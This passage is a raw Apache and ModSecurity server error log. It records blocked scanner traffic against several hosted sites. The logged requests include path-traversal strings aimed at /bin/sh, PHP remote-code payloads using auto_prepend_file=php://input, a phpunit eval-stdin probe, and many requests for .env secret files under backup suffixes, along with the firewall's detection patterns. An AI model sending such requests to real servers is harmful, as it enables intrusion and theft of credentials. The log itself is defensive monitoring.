https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:23:18.253674 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:23:18.357168 2026] [security2:error] [pid 715691:tid 715903] [client 142.248.80.191:50548] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.production.copy"] [unique_id "ai30drV-dFiaX9AtWiQjZQAAAUg"] [Sat Jun 13 18:23:18.362528 2026] [security2:error] [pid 715691:tid 715771] [remote 17.241.227.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30drV-dFiaX9AtWiQjZwABUzw"] [Sat Jun 13 18:23:18.493728 2026] [access_compat:error] [pid 715691:tid 715730] [remote 57.141.14.80:38851] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:18.494012 2026] [access_compat:error] [pid 715691:tid 715730] [remote 57.141.14.80:38851] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:18.586462 2026] [core:error] [pid 715691:tid 715929] [client 198.11.178.150:51242] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh) [Sat Jun 13 18:23:18.607627 2026] [security2:error] [pid 715691:tid 715739] [remote 17.246.19.103:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 103.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30drV-dFiaX9AtWiQjdQABPh0"] [Sat Jun 13 18:23:18.646503 2026] [core:error] [pid 646876:tid 647072] [client 198.11.178.150:51266] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh) [Sat Jun 13 18:23:18.715514 2026] [security2:error] [pid 715691:tid 715851] [client 198.11.178.150:51268] ModSecurity: Access denied with code 406 (phase 2). Pattern match "=(?:ogg|tls|ssl|gopher|file|data|php|zlib|zip|glob|s3|phar|rar|s(?:sh2?|cp)|dict|expect|(?:ht|f)tps?)://" at REQUEST_URI. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "517"] [id "340165"] [rev "291"] [msg "Atomicorp.com WAF Rules: Uniencoded possible Remote File Injection attempt in URI (AE)"] [data "/hello.world?\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [hostname "173.254.4.161"] [uri "/hello.world"] [unique_id "ai30drV-dFiaX9AtWiQjeAAAARQ"] [Sat Jun 13 18:23:18.735692 2026] [security2:error] [pid 715691:tid 715920] [client 198.11.178.150:51268] ModSecurity: Access denied with code 406 (phase 2). Pattern match "=(?:ogg|tls|ssl|gopher|file|data|php|zlib|zip|glob|s3|phar|rar|s(?:sh2?|cp)|dict|expect|(?:ht|f)tps?)://" at REQUEST_URI. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "517"] [id "340165"] [rev "291"] [msg "Atomicorp.com WAF Rules: Uniencoded possible Remote File Injection attempt in URI (AE)"] [data "/?\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [hostname "173.254.4.161"] [uri "/"] [unique_id "ai30drV-dFiaX9AtWiQjeQAAAVk"] [Sat Jun 13 18:23:18.743178 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvd2FrZXVwL3dha2V1cDM0L3N1YnN5c3RlbS93YWtldXAzNi9kZXZpY2U= [Sat Jun 13 18:23:18.743438 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvd2FrZXVwL3dha2V1cDM0L3N1YnN5c3RlbS93YWtldXAzNi9kZXZpY2U= [Sat Jun 13 18:23:18.765157 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.101:60888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:18.765411 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.101:60888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:18.765851 2026] [security2:error] [pid 715691:tid 715954] [client 198.11.178.150:51268] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.178.11.198.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "173.254.4.161"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai30drV-dFiaX9AtWiQjegAAAXs"] [Sat Jun 13 18:23:18.874253 2026] [access_compat:error] [pid 715691:tid 715732] [remote 57.141.14.38:64169] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:18.874542 2026] [access_compat:error] [pid 715691:tid 715732] [remote 57.141.14.38:64169] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:19.059050 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.41:28871] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:19.059546 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.41:28871] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:19.299095 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:23:19.299352 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:23:19.446468 2026] [security2:error] [pid 715691:tid 715769] [remote 17.246.19.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30d7V-dFiaX9AtWiQjnQABbTo"] [Sat Jun 13 18:23:19.573134 2026] [security2:error] [pid 715691:tid 715951] [client 114.119.159.70:27771] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "concretechn.net"] [uri "/ct/index.php/proyectos/fundicion-de-calle"] [unique_id "ai30d7V-dFiaX9AtWiQjnwAAAXg"], referer: http://concretechn.net/ct/index.php/proyectos/fundicion-de-calle?page=2 [Sat Jun 13 18:23:19.677367 2026] [security2:error] [pid 646876:tid 647040] [client 142.248.80.191:51094] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env~"] [unique_id "ai30d9yTkdrNlD40tSHSFAAAACA"] [Sat Jun 13 18:23:19.709534 2026] [security2:error] [pid 646876:tid 647099] [client 142.248.80.191:51054] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.swp"] [unique_id "ai30d9yTkdrNlD40tSHSFQAAAFs"] [Sat Jun 13 18:23:19.741838 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.5:38641] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:19.742127 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.5:38641] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:19.821451 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9zZXJpbzE= [Sat Jun 13 18:23:19.821764 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9zZXJpbzE= [Sat Jun 13 18:23:19.956682 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.88:48472] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:19.957514 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.88:48472] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:20.002747 2026] [access_compat:error] [pid 715691:tid 715817] [remote 57.141.14.62:48620] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:20.003203 2026] [access_compat:error] [pid 715691:tid 715817] [remote 57.141.14.62:48620] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:20.035873 2026] [security2:error] [pid 646876:tid 647129] [client 142.248.80.191:51318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.local.bak"] [unique_id "ai30eNyTkdrNlD40tSHSIAAAAHk"] [Sat Jun 13 18:23:20.035875 2026] [security2:error] [pid 646876:tid 647038] [client 142.248.80.191:51350] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.copy"] [unique_id "ai30eNyTkdrNlD40tSHSIQAAAB4"] [Sat Jun 13 18:23:20.037003 2026] [security2:error] [pid 646876:tid 647115] [client 142.248.80.191:51316] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.orig"] [unique_id "ai30eNyTkdrNlD40tSHSHwAAAGs"] [Sat Jun 13 18:23:20.052979 2026] [access_compat:error] [pid 715691:tid 715812] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:20.053426 2026] [access_compat:error] [pid 715691:tid 715812] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:20.061277 2026] [security2:error] [pid 646876:tid 647105] [client 142.248.80.191:51054] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.local.old"] [unique_id "ai30eNyTkdrNlD40tSHSIwAAAGE"] [Sat Jun 13 18:23:20.061738 2026] [security2:error] [pid 715691:tid 715954] [client 142.248.80.191:51426] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.local.orig"] [unique_id "ai30eLV-dFiaX9AtWiQjqwAAAXs"] [Sat Jun 13 18:23:20.127474 2026] [security2:error] [pid 715691:tid 715920] [client 142.248.80.191:51432] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.production~"] [unique_id "ai30eLV-dFiaX9AtWiQjsAAAAVk"] [Sat Jun 13 18:23:20.210506 2026] [security2:error] [pid 715691:tid 715885] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/dba/tests/dba_db4_optimize.phpt"] [unique_id "ai30eLV-dFiaX9AtWiQjtQAAATY"] [Sat Jun 13 18:23:20.237778 2026] [security2:error] [pid 715691:tid 715828] [remote 17.22.253.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30eLV-dFiaX9AtWiQjtgABInU"] [Sat Jun 13 18:23:20.279620 2026] [access_compat:error] [pid 715691:tid 715822] [remote 57.141.14.89:65158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:20.280070 2026] [access_compat:error] [pid 715691:tid 715822] [remote 57.141.14.89:65158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:20.338336 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:23:20.338737 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:23:20.358763 2026] [security2:error] [pid 715691:tid 715855] [client 142.248.80.191:51492] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.production.orig"] [unique_id "ai30eLV-dFiaX9AtWiQjvQAAARg"] [Sat Jun 13 18:23:20.381495 2026] [security2:error] [pid 646876:tid 647096] [client 142.248.80.191:51318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.production.swp"] [unique_id "ai30eNyTkdrNlD40tSHSKAAAAFg"] [Sat Jun 13 18:23:20.404535 2026] [security2:error] [pid 646876:tid 647045] [client 142.248.80.191:51394] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.local.swp"] [unique_id "ai30eNyTkdrNlD40tSHSKgAAACU"] [Sat Jun 13 18:23:20.404533 2026] [security2:error] [pid 715691:tid 715870] [client 142.248.80.191:51408] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt 